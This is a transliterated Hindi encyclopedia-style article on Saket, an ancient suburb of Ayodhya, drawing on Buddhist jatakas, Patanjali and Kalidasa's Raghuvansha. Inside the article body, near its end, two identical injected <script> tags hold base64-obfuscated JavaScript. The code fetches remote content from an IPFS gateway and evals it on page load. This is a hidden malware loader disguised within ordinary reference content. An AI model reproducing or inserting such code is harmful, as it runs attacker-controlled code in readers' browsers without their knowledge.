साकेत
| chitr:Disamb2.jpg saket | ek bahuvikalpi shabd hai any arthoan ke lie dekhean:- saket (bahuvikalpi) |
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thumb|250px|bauddh math, saket ayodhya ke nikat, poorv-bauddhakal mean basa hua nagar jo ayodhya ka ek upanagar tha. valmiki ramayan se jnat hota hai ki shriram ke svargarohan ke pashchath ayodhya uja d ho gee thi. jan p data hai ki kalaantar mean, is nagari ke, guptakal mean phir se basane ke poorv hi saket namak upanagar sthapit ho gaya tha. valmiki ramayan tatha mahabharat ke prachin bhag mean saket ka nam nahian hai. bauddh sahity mean adhikatar, ayodhya ke ullekh ke bajay sarvatr saket ka hi ullekh milata hai, yadyapi donoan nagariyoan ka sath-sath varnan bhi hai.[1] guptakal mean saket tatha ayodhya donoan hi ka nam milata hai. is samay tak ayodhya pun: bas gee thi aur chandragupt dvitiy ne yahaan apani rajadhani bhi banaee thi. kuchh logoan ke mat mean bauddh kal mean saket tatha ayodhya donoan paryayavachi nam the kiantu yah saty nahian jan p data. ayodhya ki prachin basti is samay bhi rahi hogi kiantu uja d hone ke karan usaka poorv gaurav vilupt ho gaya tha.
- vebar ke anusar saket nam ke kee nagar the.[2]
- kaniangham ne saket ka abhijnan fahyan ke shache aur yuvanachvaang ki vishakha nagari se kiya hai kiantu ab yah abhijnan ashuddh pramanit ho chuka hai. sab batoan ka nishkarsh yah jan p data hai ki ayodhya ki ramayan-kalin basti ke uj d jane ke pashchath bauddh kal ke praranbh mean (6thi-5vian shati ee.poo.) saket namak ayodhya ka ek upanagar bas gaya tha jo guptakal tak prasiddh raha aur hindoo dharm ke utkarsh kal mean ayodhya ki basti phir se bas jane ke pashchath dhire-dhire usi ka aang ban kar apana prithakh astitv kho baitha.
- aitihasik drishti se saket ka sarvapratham ullekh bauddh jatakakathaoan mean milata hai. nandiyamig jatak mean saket ko kosal-raj ki rajadhani bataya gaya hai.
- mahavagg [3]mean saket ko shravasti se 6 kos door bataya gaya hai.
- patanjali ne dvitiy shati ee.poo. mean saket mean grik (yavan) akramanakariyoan ka ullekh karate hue unake dvara saket ke akraant hone ka varnan kiya hai, [4] adhikaansh vidvanoan ke mat mean pantajali ne yahaan meneandar (bauddh sahity ka miliand) ke bharat-akraman ka ullekh kiya hai.
- kalidas ne raghuvansh mean [5] raghu ki rajadhani ko saket kaha hai-
'janasy saketanivasinastau dvavapyabhootamavinandy satvau, gurupradeyadhikani:sprihoarthi nripoarthikamadadhikapradashch'[6] mean ram ki rajadhani ke nivasiyoan ko saket nam se abhihit kiya gaya hai.
'yaan saikatotsangasukhochitanamh'[7] mean saket ke upavan ka ullekh hai jisamean lanka se lautane ke pashchath shriram ko thaharaya gaya tha-
'saketopavanamudaramadhyuvas'[8] mean saket ki puranariyoan ka varnan hai-
'prasadavatayanadrishyabandhai: saketanaryoanchajalibhi: pranemu:'
uparyukt uddharanoan se jan p data hai ki kalidas ne ayodhya aur saket ko ek nagari mana hai. yah sthiti gupt kal athava kalidas ke samay mean vastavik roop mean rahi hogi kyoanki is samay tak ayodhya ki nee basti phir se bas chuki thi aur bauddhakal ka saket isi mean sammilit ho gaya tha. kalidas ne ayodhya ka to anek sthanoan par ullekh kiya hi hai. anushaangik roop se, is tathy se kalidas ka samay gupt kal hi siddh hota hai. <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
tika tippani aur sandarbh
sanbandhit lekh
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varnamala kramanusar lekh khoj
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